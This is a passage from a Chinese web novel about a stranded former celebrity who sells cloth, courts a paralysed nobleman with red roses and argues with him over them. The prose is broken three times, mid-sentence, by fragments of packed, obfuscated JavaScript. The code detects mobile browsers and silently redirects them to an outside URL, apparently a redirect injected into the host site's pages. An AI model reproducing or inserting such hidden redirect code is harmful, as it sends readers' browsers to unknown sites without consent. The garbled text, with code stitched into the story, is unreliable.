叶之萤看他笑了,松了口气:“可算把我的祖宗弟弟哄高兴了!” “我……不是弟弟!”他还在嘴硬。 “知道了知道了,知道你的心思了!”叶之萤一挑眉,笑得格外开心。 “什么心思?” “年下不叫姐……我懂的!” “你在说什么?”温其玉被她的话搞得晕头转向。 “我说,我上千岁的老祖宗,您要不要躺下休息会儿?”她终于不逗他了,眨巴着眼睛,乖巧地和他商量。 他被她磨得实在没招了,不得不妥协:“叫荣祥进来吧。” 叶之萤站在门外候着,直到荣祥离开,才又重新来到他床边。 “困不困?要不要睡会儿?”她问他。 他摇头:“不用。倒是你,只能待在这里,怕是会觉得无趣吧?” “当然不会!”她看他一脸紧张,不敢再逗他,回答得无比坚定。 他像是没听见她的话,自言自语起来:“当初我搬进这宅子,也没想着添些娱乐的东西,如今看来,确实冷清无聊了些。” 叶之萤点头附和:“嗯,说得是,你这院子确实太冷清了!” 谁知,只这一句附和就又让敏感的他多心了:”抱歉,要是若飞在,还能陪你外出走走,也不至于每日在这屋子里发闷。” “谁说我闷了?还有,你能不能不要总是跟我道歉?要是再这样‘抱歉抱歉’的,我可真不敢再来找你了!”叶之萤板起脸,假装生气。 “抱……”温其玉见她不高兴了,条件反射地想要再道歉,看她脸色又要沉下来,赶紧改了口,道了一声“好”。 “这就对了嘛!”叶之萤对他的表现很满意,安慰起他来,“温其玉,如今只有两件事情能让我开心,你知道是什么吗?” 他自然知道她想说什么,没有接话。 “第一件事是挣钱,第二件事就是……见你!” 眼看床上的人装出一副波澜不惊的样子,叶之萤继续在他心里掀起惊涛巨浪:“跟你说实话吧,前几天一个人在屋子里,你知道我多想你吗?差点憋死我!” “待若飞回来……” “我只想见你!” …… “对了,我总来找你,你会不会烦我啊?”她继续明知故问。 “我……怎么会!”他似乎是被这话问得不知所措了,“叶姑娘,若是为你安排一位丫鬟,每日陪伴你玩乐,外出时也有个照应,你觉得可好?” 她慌忙摇头:“不好不好,跟你聊天才有意思,我只喜欢和你聊天,不要别人。” 床上的人嘴微微张着,原本是准备说什么的,可听她这么说,半饷都没再说出话来。 眼看他被撩得就要憋出内伤了,叶之萤终于大发慈悲收了口,一本正经解释道:“你知道的,我不喜欢屋子里有别人。” “那你喜欢什么?”温其玉努力让自己那颗动荡的心重新镇定下来。 “我喜欢购物,还有运动。可是我现在没钱,购不了一点儿物。”叶之萤笑着道。 “你喜欢何种运动?” “我小时候是练长跑的,你没想到吧?”叶之萤一挑眉,看着眼前的人一副吃惊的样子,很是骄傲,“后来就不练了,只当个爱好跑着玩儿,大学又喜欢上爬山,华山、黄山、泰山、普陀山,各种大山小山,我能爬遍了。后来越来越红,也越来越忙,就没时间出去了。又改成在健身房里玩器械、举铁……” 和温其玉在一起的时间总是过得格外快,快到叶之萤都怀疑时间是不是被偷了。不知不觉间,一束夕阳从窗户溜进来,屋里金光四射。 “哎呀,你看,天晴了!”她开心地对他笑着。 他的头原本是背对窗户的,所以只能很费力地扭着脖子抬着头才能看到外面,看他那么艰难的样子,叶之萤又忍不住难受起来。 “黎城真的很美,不知道邺国的其他地方有什么不一样的风光,你要好好养病,将来有机会带我走遍邺国的大好河山,好吗?” “好!”他回答得格外坚定。简单的一个字,饱含着满满的勇气和决心。 叶之萤相信他可以做到,虽然他现在连坐起来都要依靠别人帮忙,但她依然相信他的话,只因他向来言而有信。 晚饭时,他小心地询问她要在哪里吃,她借机问他:“如果在这里吃,你和我一起吃吗?” “嗯。”许是对之前的事还有心结,他只轻轻地点头,却垂下眼去不敢看她。 “那就在这儿吃吧,以后都在这儿吃!” 晚饭后,她才依依不舍地回了自己的房间,坐在梳妆台前拆掉满头的装饰,将那些东西一一放回到首饰盒中。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991682|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 打开那木盒,角落里那团鲜艳的红绳又一次让她思绪万千。她呆呆地望着它们很久,脑子里挥之不去全是温其玉,他的样子、他的声音、他的笑容,还有他的……残疾。但奇怪的是,现在想到他的残疾,她再也不会像之前那样恐惧地想要逃避了,反而更多的是心疼和怜惜。 她又想到了阿力的那番话,只要能看到她,温其玉就是快乐的。对此,她并不完全赞同。人的欲望是个无底洞,一开始,温其玉或许确实如阿力所言,没想过和她在一起,可是以后呢?他会不会越陷越深,以至于生出其他念头?到时,那种想爱而不敢爱,想要伸手触摸却只能缩回手的隐忍,还会让他快乐吗? 此时的她,心中已经豁然开朗。她要带给温其玉快乐!要让他一直快乐下去! 第二日一早,叶之萤便又去了沈氏布庄。天气放晴,顾客比昨天多了好几倍。 作为娱乐圈顶级女星,不夸张地说,曾经的叶之萤浑身上下都是重金难求的广告位,各种时尚单品加身,是不折不扣的潮流风向标。身在那种环境下,自然比普通人更有机会接触到最潮流、最时尚的东西。久而久之,审美水平也提高了不少。 而在布庄的销售中,这些经验都派上了用场。她很少为她们讲解布料的材质和特点,因为那些并不是她擅长的,但是她会根据不同顾客的身高、肤色、年龄、气质,为她们搭配适合她们的颜色和材质,甚至还会根据她们本人选的布料为他们的丈夫、小孩搭配适合的情侣装、亲子装,再亲自为他们试穿。 “妹妹啊,你可太会做生意了!”说话的这位姐妹,看起来也就二十多岁的样子,还不一定有叶之萤大,原本只想买一款合适的布料来搭配她那件荷绿色的、底澜绣花的百迭裙,可在叶之萤的极力推荐下,最终选了浅绿色素罗、同色系薄纱,还有蔷薇粉云纹花罗、乳白色螭纹花罗、绿色环纹桑波缎,共五款布料。 叶之萤将包装好的布料全部递给她身边的小丫鬟,笑着道:“哪里哪里,是姐姐气质不凡,衬得这些布料都更华贵了。姐姐看起来容光焕发、仪态安宁,一看便知生活幸福美满,想必姐夫一定是温润如玉的谦谦公子,那块石绿色的布料正衬他的气质!” “哎呀,妹妹你这张嘴,说出来的话真让人喜欢!” 谈笑风生间,她恭送这位姐妹出门离开。 刚想喝点水润润嗓子,就又来了一位客人。离开之时,那位客人突然指着叶之萤耳朵上那对耳环问道:“这副莲花缠金耳坠甚是好看,冒昧问一下,是在哪家店买的?” “这副呀,就是在斜对面那间首饰铺里买的。”叶之萤一边说,一边用手指给她看。那铺子不远,站在布庄门口一眼就能看到。 过了一会儿,又有人问她头上的步摇是在哪里买的。 又过了一会儿,有人问她头上的珠钗是哪里买的。 这些饰品都是叶之萤特意为了这份工作准备的,为了能给衣服添华彩,她当时特意找了家中高档的首饰铺,斥巨资——五两银子——买了一对鎏金步摇、一支金镶玉珠钗,以及一对缠金耳坠。 没想到这么多人对她戴的首饰感兴趣。 她突然有了个主意…… 60. 红玫瑰 中午店里生意好,等闲下来时已经未时过半了。叶之萤来不及吃饭,就叫了阿力和她一起来到对面的首饰铺。 “有何需要,请自便。”掌柜的正坐在椅子上闭目养神,说完话才慢悠悠地睁眼看她,发现眼前之人戴着自家的首饰,这才立马起身,一扫刚才的疲倦,殷勤招待起来,“娘子,随便看,有需要的我拿给你试戴。” “老板,今天是不是有几个人过来指定要我戴的这几款发饰和耳坠?”叶之萤废话不多说,直接问道。 他又仔细打量了一番她戴的首饰,点头道:“是有三四个人来问。” “那她们买了吗?”她心里充满期待。 老板眯着眼睛思考片刻,说:“是有一人买了一副耳坠和一对步摇,还有一人买了一支珠钗和一只旁的簪子。” 果然买了! “掌柜的,我是对面沈氏布庄的,想和您合作。” “合作?你想怎么合作?”老板对她的提议表现出了很大的兴趣。 叶之萤直言:“你看,再好看的衣裳也需要首饰的点缀,正所谓锦上添花,若是你们家的首饰戴在我的头上,再搭配我们家的衣裳,二者相得益彰,珠宝自然显得更加光彩夺目。今日那几位便是在我店里置衣时被我推荐过来的顾客。” 老板点头道:“这自然是好。你预备如何合作?” “我有个想法,你且听听看如何。我每月四号、十四号、二十四号的酉时分别在你这里拿一套首饰,带到我店里为你推广,第二日酉时归还。当然,让你平白无故给我首饰你肯定不放心也不愿意,所以,我拿首饰时会同时给你抵押五两银子,第二日我们一手归还首饰,一手归还银子,谁也不吃亏。” “如此听来甚好。只是,姑娘不会是免费为我做宣传吧?”他笑着问道。 免费?想得美! “这就是我接下来要说的了。我会准备一些统一格式的小票,到时那些客人只要拿着我的小票过来,便说明是我介绍来的。我只负责介绍她们来,至于她们买不买,就靠您推销了,我不要提成,每日只要固定的一两银子,当日结账。” 这一两银子对这首饰铺的老板来说,买不了吃亏,买不了上当,只要有一个人通过叶之萤的介绍来买了东西,他就不会赔。 对叶之萤而言,虽然钱不多,但她本意也只是想找个赞助商。毕竟想要把衣服更快地卖出去,首饰、妆容和发型这类提升气质和整体氛围的软装是必不可少的,所以她才在一开始就自费购置了一些首饰,还闭关学了好几天化妆和做发型。如此一来,不仅以后都不用再自己花钱买好看的首饰来搭配衣服,每月还能白挣三两银子,何乐而不为? “好!一言为定!”果然,首饰铺老板一口便答应了。 于是,在阿力的见证下,二人立了字据,一拍即合。 “叶小姐,我不太懂,你为何不要提成,只要一两银子?”离开了首饰铺,阿力这才将心里的疑惑说了出来。 她笑道:“我本来也就是想找个赞助商而已。” “赞助商?”他更困惑了。 她解释道:“你想想啊,要拿提成的话,就得知道都有哪些人在他这里买了东西,分别买了什么。可是我本人并不在首饰铺待着,我介绍的人到底买没买,或者买了哪些首饰,我根本无从知晓,到时候分成多少全靠老板的良心。人心是经不住考验的,很可能我卖力为他吆喝,最后只分到一点点提成。所以不如不要提成。一个月三两,看着是不多,也是很多底层百姓一个月的收入了。” 他点头道:“说得也是!” “还有,”她指着沈老板在店里忙活的身影,说道,“我毕竟是在这里工作的,在他店里替别人卖力吆喝生意,也不合适。” 刚一进店,沈老板就喜笑颜开地走到她跟前:“叶小姐,我以前怎么就没想到这衣裳还能配成那什么……情侣装和亲子装卖呢?对了,刚刚我算了一下,今日有一半的生意都是你成交的,真是没想到,你这么会做买卖,家里可是经商的?” “别说您了,我也没想到!”叶之萤不好意思地笑了起来。若非流落至此,被逼无奈,她无论如何也想不到这辈子自己竟然会来干销售,而且意外干得还不错。果然人的潜力都是被逼出来的。 下午,在接待完最后两位顾客后,沈老板拿出了账本。当日营业额八十一两,比上一次还多了十几两。更重要的是,这样算下来,她这日的工钱正好十两,和温其玉的打赌就算赢了! 不知道温其玉现在在做什么?会不会已经在门口那张躺椅上等着她回去了? 沈老板正把银两从柜子里取出来,她胡乱抓了几下把银子全部装进了提前准备好的大荷包里,又向老板道了再见,就匆忙离店了。 路过满记茶楼,叫上阿力,很快就又来到了那个花铺前。 叶之萤如今已经习惯走到它的摊位前就停下脚步,今日也不例外。惊喜的是,那铺子正中央摆着的是一把红玫瑰。 那红色浓得惊人,好像恋人情正浓,热烈得让人挪不开眼。凑近一闻,味道更香得醉人。 “小姐,今日要什么花?”那花贩友善地和她打着招呼,他已经认识她了。 叶之萤指着那排鲜红如火的花说:“就它们,给我选三朵开得最灿烂的!” 拿上包好的花,她一路小跑,归心似箭。阿力跟在后面直喊慢点,她都充耳不闻,满脑子只想快点见到那个人。 可等她赶到家时,温其玉却没有像往常那样在外面等她,只是,内院的池边比平时多了一架秋千。 她自然顾不上去荡秋千,直接跑到他门前,迫不及待推门而入。 房间里有一股浓郁的清香。这个味道平时一直都有,是温其玉专用香薰,只是今日格外浓烈。 房间里窗户全都打开着,他依旧卧床,脸色十分苍白,神情也有些乏力,但看到她进来,还是努力地冲她笑了起来。 “回来了!”声音也比平时听上去虚弱了不少。 “你怎么了?”叶之萤急忙赶到他床前,把花顺手放在了一旁的榻上。由于一路上跑得太快太急,不免有些气喘。 “我没事,别担心。”他见她慌张的样子,安慰道,“你先坐下。” 又吩咐荣祥给她倒了杯水。 “这是怎么了?”她接过水杯,问荣祥。 荣祥偷瞄了一眼床上的少爷,犹豫半饷,还是对她说了实情:“下午那会儿,少爷照旧闻了解药,谁知右臂却突然疼痛难忍,痛感很快蔓延到左臂,又蔓延到躯体和下肢,最后,整个身体都如虫蚀骨般痛苦不已,整整半个时辰痛感才慢慢减弱。本以为这就结束了,没想到随之而来的是更加剧烈的四肢抽筋、肌肉僵硬,又捱了差不多一炷香的功夫才缓过来。少爷体力消耗过大,浑身酸痛,现下坐不起来,只能躺着休息。” “怎么会突然这样呢?找林大夫来看了吗?”她又向他面前挪了一些,不由得皱起眉头。 而床上的人居然还有心思笑:“你先别紧张,听我慢慢说。” “怎么能不紧张呢?你说!”她一把抓住了他的右手,仅仅是摸一下都能感觉到,那只手比平日更加无力,可以说是完全动不了。 温其玉看了一眼二人握在一起的手,自知无力挣脱,只好不做抵抗,对她说:“林大夫已经看过了,我今日之所以会突然有这样的反应,是因为腥月草的药力已经遍布全身,经过这段时间的治疗,体内原本淤堵的筋脉逐渐畅通,身体恢复到一定程度,感知到药力,才开始有了这样的反应,是好事情!” “真的吗?”叶之萤怕他是为了安慰她故意编的谎话,又扭头问荣祥,得到荣祥肯定地点头后,这才放下了心。 但很快,笑容就重新凝固在了她的脸上:“那你以后岂不是每天都要经历这样的痛苦?” 他使出全身仅有的力气让右手食指在她手背上轻点了一下,安慰她:“我能忍受,不必为我担心!” 她伸手去抚摸他憔悴的脸庞,刚碰到他的脸,他便立马将脸转向了另一边。 但凡有一点反抗能力,他都不会任由她越界。 叶之萤只好收回手,又从软榻上取来那束玫瑰花放到他眼前:“你今天这么勇敢,喏,奖励你一束花!” “多谢!” 花瓶已经被洗干净了,静静地立在他床头,仿佛就等有人来为它插上新的鲜花。叶之萤将那三朵玫瑰仔细插好,却不小心被刺扎了一下手。 “哎呀!”她迅速缩回手。 “手有没有事?快让我看看!”他几乎与她同时呼喊。 她用嘴将手指上的血吸干净,伸手给他看:“没事!你看!” “为何要买这带刺的花?”他似乎很是不解。 叶之萤转头示意荣祥和阿力都先出去,待他们出去后,才缓缓开口:“你不觉得它们开得很灿烂吗?它们的颜色像火一般浓烈,就像爱情一样,在我们那里,玫瑰是象征爱情的花。” 她边说,边轻轻抚摸着那鲜红的花瓣笑了起来。 在几乎毫无察觉的一瞬间,床上的人微微皱了一下眉,但很快,他的目光变得极其冷淡:“可是它们会让你受伤。” 虚弱的气息中同样带着些冷淡。 “小心一些就是了,又不是每次都会被扎伤,而且,你看!”她又一次伸出手指给他看,“伤口已经愈合了。” 他并没有看,却突然问她:“昨日读的《孙子兵法》内容可还记得?” “嗯?”叶之萤不明白,还正在说玫瑰花呢,怎么好好地又提起《孙子兵法》? 只听他继续开口道:“未战而庙算不胜者,得算少也。既是如此,可还要逞匹夫之勇,强行攻之?” 这下明白了,是想劝她知难而退呢! “你说我是匹夫?”叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991683|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之萤生气地反问他。 温其玉没想到她的关注点会如此清奇,被她一句话带偏了主题,忙解释道:“我没有那个意思……” “那你什么意思?你明明就是那么说的!” 仅仅几秒钟,温其玉就识破了她的小心思,直接绕过了陷阱:“我是想劝叶姑娘,莫要明知不可为而为之。” 叶之萤毫不犹豫地反驳他:“凭什么你说不可为就不可为?我为什么要听你的?小马过河,谁的意见都不算数,只有自己试了才知道!也许你觉得不可为的事情,在我看来却是大有可为呢?” “我已经说过了,我无意于你,你又何必浪费时间?”他见她执迷不悟,干脆挑明了,而后垂下眼睑,不再看她。 “哦?是吗?”叶之萤反问他。 “是!”他答得坚定。 叶之萤突然笑了。他随即抬头望向她,显然是吃惊于她突如其来的异样。 叶之萤的脸不断向下,一直来到他的面前,此时两张脸相隔只有十几公分,她额前的发丝垂下来,在他的脸上来回轻扫。他很紧张,脖子一直向后缩,后脑勺将床铺越贴越紧,却退无可退,只好别过脸去。 叶之萤贴着他的耳朵轻语:“你此刻的眼里只有慌张,没有抗拒,别骗人了!况且就算你现在真的不喜欢我也没关系,你将来一定会爱上我的!” 面前那只耳朵“唰”一下鲜红得如同旁边的红玫瑰,更显得它的主人接下来那冷冰冰的话语是那么格格不入:“叶姑娘,你的自信我实在佩服!只是对一个瘫痪之人费如此大的力气,又是何必呢?” “瘫痪怎么了?”她将他的脸硬扭过来面向自己,“我之前确实介意过你的身体,也试过把对你的感情抛得远远的,但是现在我想明白了,这世界上的男人,随便拉一个过来都比你能跑比你能跳,但是他们并不因此比你强大。你的智慧、气度、格局,在我心里无人能及!在我人生中最艰难的时候,你不仅在物质上帮助我,还在精神上不遗余力地支撑我。不仅保护我的安全,还鼓励我继续飞翔。我想,换作别的男人,不管是谁,都不可能像你这样对我了。你当然不完美,但这世上也没有人是完美的!你在我心里,就是最好的!就是无可替代的!或许真的如你所说,将来我会过上更好的生活,拥有更多的选择,会比现在幸福得多。但我敢肯定,我不会再遇到比你更好的人了!” 温其玉似乎是被她突如其来的一大串表白吓懵了,只是盯着她看,竟意外的连一句拒绝的话都没有再说。 她继续道:“你也不会一直这样下去,会好的,不是吗?” 他垂下眸子,缓缓开口:“即使有腥月草,也只能缓解上肢的麻痹,我的腿,治不好了,你可知道?” “治不好就治不好!” 听到叶之萤这话,那双痛苦的双眸忽地又朝她看来,叶之萤看到那目光里闪烁着难以置信的光。 “别说你还有好转的余地,就算你一直都是现在这个样子,我也不会再介意了!前些日子,我逼自己放弃对你的感情,那时我才发现,原来放弃你对我来说是那么痛苦的一件事。我的痛苦源自于我心底的抗拒,我根本不想放弃你。相反,我每时每刻都在想你,每时每刻都想见你。所以我不想再为难自己了,我要大方地承认,我就是喜欢你!” “喜欢我?你知道这对你来讲意味着什么吗?”他反问她。 “意味着什么?”叶之萤骄傲地回答,“意味着我很有眼光!意味着我很幸运!” 温其玉被她这样的回答噎得一句话也说不出来了。他那表情在叶之萤看来,分明是觉得她疯了。 半饷之后,他才无奈说了一句:“胡言乱语!” “我知道你想说什么!无非就是想说和你这样的人在一起会很累、你会拖累我之类的话吧?跟你说实话吧,我也没那么无畏,你要是一无所有,我可能真的会因为担心以后的日子太艰难,就永远把这份爱藏在心里了。可是你看你家这么大,下人这么多,还有专人伺候你,又怎么会拖累我呢?” 今日,温其玉说话明显比平时费劲不少,连嘴皮子都有些不利索,显然是强撑着一股劲儿在和她说话。结果说什么都被她顶回去。许是因为说了太久话以致更加体力不支,又或者是这个话题实在令他心累,此刻他满脸倦容,一副疲惫不堪的样子。 “累了就闭上眼睛休息会儿吧,我就在这儿陪你。”叶之萤不忍再与他争辩。 “不必劳烦叶姑娘,替我叫荣祥进来吧。”温其玉说完,就闭起了眼睛。那冰冷的话语和薄薄的眼皮彻底将床边的女子隔绝在他的世界之外。 房间的窗户还都大敞着,那三支红玫瑰就在他头旁边的青玉花瓶里插着,每一朵花都有拳头那么大,它们比刚买回来时开得更灿烂了,正随着穿堂而来的清风放肆摇曳…… 叶之萤还没来得及告诉他,三支红玫瑰的花语是——我爱你。 61. 冲动 夜里,阿力突然来寻。一问,原来是本该寄给温其玉母亲的回信已经拖了有些日子了,他来与她商量该怎么办。 叶之萤思忖片刻,给了他自己的建议:“那信要不明日你还是先原封不动寄出去吧,他如今这样的情况,你家老夫人见了只怕更难受,不如等他再好一些,我们再想办法安排他们母子见面。” 阿力与她想法一致,嘱咐她早点休息,便离开了。 第二天,叶之萤早晨洗漱完就第一时间溜到了隔壁,刚一进去,就发现温其玉床头的红玫瑰不见了,只剩下一只空荡荡的花瓶摆在那儿。 “我的花呢?”她有些不悦。 虽然已经过了一夜,但温其玉的精神似乎没有恢复多少,还是一脸倦容,荣祥正在为他按摩右臂。 “前厅的插花差一些红色,我命人拿去用了。”今日他开口已经完全没有了昨日的艰难,只是偶尔皱起的眉头不断地提醒周围人,他正在努力对抗着按摩带来的骨肉酸痛。 叶之萤一听,顿时火冒三丈:“温其玉,那是我送你的,你为什么要给别人用?” “叶姑娘,可否稍等片刻,听我给你解释?”从他的语气中,叶之萤听不出哪怕一点歉意,能够想象到,他口中所谓的解释也不过是再一次和她划清界限而已,不听也罢! “你是故意的!”她气得咬牙切齿。 “你先别生气,桌上有……”他试图转移话题。 一个念头在叶之萤脑海一闪而过。 她打断了他的话:“温其玉,你等着!” 撂下这句话后,她愤然摔门而去。 “你去哪里?”从房里传出他着急的喊叫。 她自然不理他,只闷头往门口跑去。 过了一会儿,就听见荣祥跑出门来大叫:“阿力!阿力!” 现在知道急了?晚了! 叶之萤一口气跑到集市,这是她第一次一个人白天出门。 路上,几个游手好闲的流浪汉一看到她便冲着她乱叫、吹口哨,甚至还走到她身边故意撞她,行为极其猥琐。 叶之萤不敢激怒他们,只能尽量躲着他们走。 她这才体会到温其玉执意让阿力陪自己外出的苦心。平日里有阿力陪着,这些人连多看她一眼都不敢。 依旧跑到那个花铺前,她在花贩手里买走了他摊位上所有红玫瑰。 红玫瑰并不是黎城人钟爱的花的品种,花贩准备的也不多,即使全部买下,也不过百支左右。 叶之萤抱着一大束玫瑰原路返回,路上,碰到了急急忙忙赶出来找她的阿力。 “叶小姐,你买这么多玫瑰做什么?”阿力看到她平安无事,停下了匆忙奔跑的脚步,指着她怀里的花问。 “你别管!”叶之萤懒得理他,只丢下了这句话。 回到温宅,她一拉开大门,就和一架火急火燎正要冲出来的轮椅撞了个满怀,她怕玫瑰的刺扎到轮椅上的人,条件反射地举起了那束花。 没了双手的支撑和挽留,她四仰八叉摔在了那人身上,整张脸都埋进了他的胸口。 一股熟悉的清香夹杂着苦涩的味道扑鼻而来。 叶之萤迅速撑着轮椅两侧的扶手站了起来。突如其来的一撞不止撞乱了她的思绪,也撞走了她满腔的怒火。 “你没事吧?”温其玉先开口了,看到她回来,他明显松了一口气。 “你要出去?”简直明知故问,她故意让了一条路出来。 “不……不出去了。”他被问得有些窘迫。 随后,他的目光转而投向她手上捧着的那束花。 叶之萤把那一大束玫瑰直接砸到他腿上:“你不是喜欢把我的花送人吗?我怕三支不够送,特意出去给你又买了些!” 说完,就大步流星地回房去了,留他一人看着胸前那一片红色发呆。 回到房里,她躺在床上望着天花板叹气,半饷,门外传来温其玉的声音。 “叶姑娘!” 他倒是找来得挺快。 “干嘛?”她没好气地问。 “我有些话想跟你说,能把门打开吗?” “不想听!不能!” 透过木门上雕的那些花纹镂空,叶之萤看到门外只有温其玉一人的身影。她没有下床去开门,他也没有再开口,只是,他的身影始终在门前,一动不动。 过了很久,叶之萤心软了,下床打开了门。 他的腿上空空如也,早已不见花的踪影。 “那些花我已命阿力去插起来了。”看她又要发火,他急忙解释。 其实在看到温其玉出门找自己的那一瞬间,叶之萤的气就已经消了大半。 他身体不便,仅是穿衣就足够折腾好一阵了。况且这温宅有几十个下人供他指使,他也不是非得亲自出来找她。 “有什么事?说吧!”她转身走到桌前面对他坐下,留他一人还在门口。 “可否容我进去说?”他坐在轮椅上,脸上露出窘迫之色。 “门已经开了,请进!”她继续赌气。 过了一阵,叶之萤听不见身后的动静,她一面狠心不回头,但一面又不可自控的心软下来,最后,还是不情不愿将他推进了屋。 “多谢!那三支花,我今早特意命人拿去插好,本打算送至你房里给你做装饰的。” 叶之萤听懂了,他是在跟她解释,那花并没有送给别人,而是打算退给她的,是她误会了。 “嗯,还有别的吗?”她居高临下地看着他,眉宇间皆是不屑。 现在她知道了,自己刚才确实是一时冲动误会了温其玉。可那花是她昨日特意送给他的,他今日再退回来,其中的含义不言而喻,依旧是拒绝她。 “我只是不希望你把精力浪费在我身上,不值得!” “你可以不接受我的表白,也可以把我的花退回来,这是你的自由,没什么对不对的。但是值不值得我自己心里有数,不用你来教育我。如果没别的事,你就请回吧。”说完,就打算绕到他身后推他出去。 “等等!”温其玉见势抬起右臂试图拦住她,可那只胳膊只抬起了十公分就很快又摔回到大腿上。 叶之萤心一软,停在了原地。 “方才你质问我,我不是故意避而不答,只是我当时手臂疼痛难耐,实在无力与你详细解释,本想着让你稍等片刻,谁知你等不及,扭头就跑了。”对于疼痛,他总是说得轻描淡写。 “你的意思是怪我咯?” “我不是怪你,只是日后你若是想出去,叫上阿力和你一起,不要再一人出去,可好?”这个事他已经提醒她不知道多少次了。 “不行!”她故意与他唱反调。 “黎城不比京城,更不比你从前的家乡。此地乃是邺国的边境。邻国国力羸弱,民不聊生,常有生活不下去的人偷偷越境跑来黎城。你应该也注意到了,城里鱼龙混杂,有不少衣着破烂之人在城中闲逛,这些人无家可归,白天就沿街乞讨,有些会偷东西,有些甚至会明抢,夜里就睡在街上随意一条偏僻的巷子。你独自外出是很危险的。”见她如此固执,他的语气也变得有些急躁。 叶之萤终于不再居高临下,她蹲在他面前,挑眉问他:“危不危险,和你有什么关系?你这么紧张干嘛?” 他也不用再费力抬头,甚至还要微微垂眼才能与她对视:“叶姑娘,我答应过你要照顾好你,便一定会遵守承诺,也请你不要固执任性,照顾好自己的安全。” 他的态度已经恢复了平静,表情看不出任何漏洞。这些话听起来似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991684|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是理所当然,但叶之萤心知肚明它们有多么不堪一击。 “上次我跑出去,回来的时候,你淋着雨在大门口等我,这次我出去,你又急急忙忙让荣祥推着打算出去找我。温少爷,你这宅子里的下人没有五十也有三十吧?至于次次都亲自出马吗?” 轮椅上的人表情依旧平静:“你在此地人生地不熟,只有我一位好友,我自然要好好照顾你,以尽地主之谊。我在黎城也有几位还算体面的朋友,若是你真的出了事,我有求于人,亲自出面自然比下人们好使。换了任何一位好友住在温宅,我都会这么做,望你不要因此多心。” 温其玉啊温其玉,亏我已经在梦中想起了你那日亲口说的话,否则还真要被你这炉火纯青、真假难辨的演技给骗了! “好,你说什么就是什么,我心里自有判断,不和你争。我只再问你一个问题,你既然打算把我送你的玫瑰退回来,不就是想表明不接受我的感情,要和我划清界限吗?既然如此,刚才那些玫瑰你怎么又收下了?” 他无奈道:“我若再不收,恐怕你要把整个黎城的玫瑰花都搬回来了!” “你……”叶之萤一时之间竟没分出来眼前的人是在夸她还是阴阳她。 更可气的是,她竟然词穷了,憋了半天也没想出还击的话。 气死人了!明明是想要步步为营、逼他承认喜欢自己的,这才说了几句话,怎么自己就偃旗息鼓了? 他也很是识趣,立马示弱起来:“若是再气跑了你,我这副样子,如何追你回来?我可不敢再惹你生气了!” 明知此人是为了哄她原谅在故意卖惨,可看他无力的身体歪倚在轮椅上,一副无能为力的可怜样儿,叶之萤还就是心疼了,只嘟哝了一句:“你怎么不敢?你敢得很呢!” 温其玉自然听出了其中的意思,瞬间面露喜色:“多谢叶姑娘!” 叶之萤不搭理他。 他却蹬鼻子上脸:“能否劳烦叶姑娘推我回房?” “不能!自己回!”叶之萤一屁股坐到了身后的椅子上,一手托腮不理他。 他又道:“前一阵子我派人从岭南送来的荔枝昨儿个夜里才到,再不快点过去吃,就不新鲜了。” “你买了荔枝?”叶之萤瞬间两眼放光,和他置气的事也忘到了脑后。 “嗯。”他笑着点头。 端午前几日,当时叶之萤还住在温其玉房里。有一天,阿力神秘兮兮地端来了一个盒子,告诉她这里面装的是非常昂贵、千金难买的一种水果,是老夫人派人特意从岭南快马加鞭运过来的,只有这一盒。 叶之萤当然很好奇是什么神秘的水果,结果打开盒子一看,原来是荔枝。总共就十颗,被一大堆冰块包裹着、整齐地码在雕花木盒里,当真是宝贝玩意儿!叶之萤一向爱吃荔枝,但是这么常见的水果居然在邺国成了这么稀罕的宝贝,她惊讶之余也难免失落。 那日,温其玉推脱自己肠胃弱,不能吃太多,只愿意尝一颗,后来又被叶之萤硬逼着吃了两颗,再给阿力和荣祥一人分了一颗,叶之萤一人吃掉了五颗。 知道荔枝难得,虽然根本没吃过瘾,但是她也不敢表现出很喜欢的样子。没想到,温其玉不仅看出来她喜欢吃,竟然还派人专程从岭南又送了荔枝来。 她已经能够想到,今天早上他定是特意在房里备好了荔枝,就等着她过去,给她一个惊喜。 结果自己却不分青红皂白,不给他解释的机会,就劈头盖脸冲他发了一通火。 果然,冲动是魔鬼! 意识到自己已然被这小小荔枝收买了,叶之萤有些没面子,试图重新拿捏起架势。 “走吧!去尝尝!”然而,温其玉的溺爱彻底浇灭了她心里正想死灰复燃的傲娇。 她投降了! 62. 受尽折磨 叶之萤别扭地推着温其玉回到了隔壁,那些玫瑰已经被分别插在了三个花瓶和两只花篮中,一看就是经专业的插花人之手,或整齐,或错落,或抱团生长,或独自与草木相依,整个房间霎时被那一团团红色染上了生机。 “荔枝就在那盒中。”他看着桌上的木盒说。 